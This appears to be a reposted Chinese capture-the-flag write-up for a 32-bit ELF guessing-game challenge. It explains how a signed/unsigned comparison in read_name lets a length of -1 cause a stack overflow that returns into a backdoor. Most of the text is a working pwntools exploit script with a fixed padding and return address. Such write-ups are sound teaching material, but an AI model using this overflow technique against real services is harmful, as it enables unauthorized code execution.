转载

Vegeta

首先程序是个比较简单的32位elf，是个猜数字游戏 漏洞点在read_name函数有个整数溢出，v2为有符号数，而for循环中i为无符号数，所以当有符号数与无符号数比较时，会将有符号数强制转换成无符号数，当输入-1时，v2在比较中就变成了最大的正数，因此可以栈溢出 程序正好有个后门，直接栈溢出执行后门即可得到flag exp from pwn import * context.log_level = 'debug' #p = process('./f4n_pwn') p = remote('127.0.0.1',9999) p.recvuntil('length : ') p.sendline('-1') payload = 'a'*0x57 + p32(0x080486BB) p.recvuntil('name : \n') p.sendline(payload) p.interactive()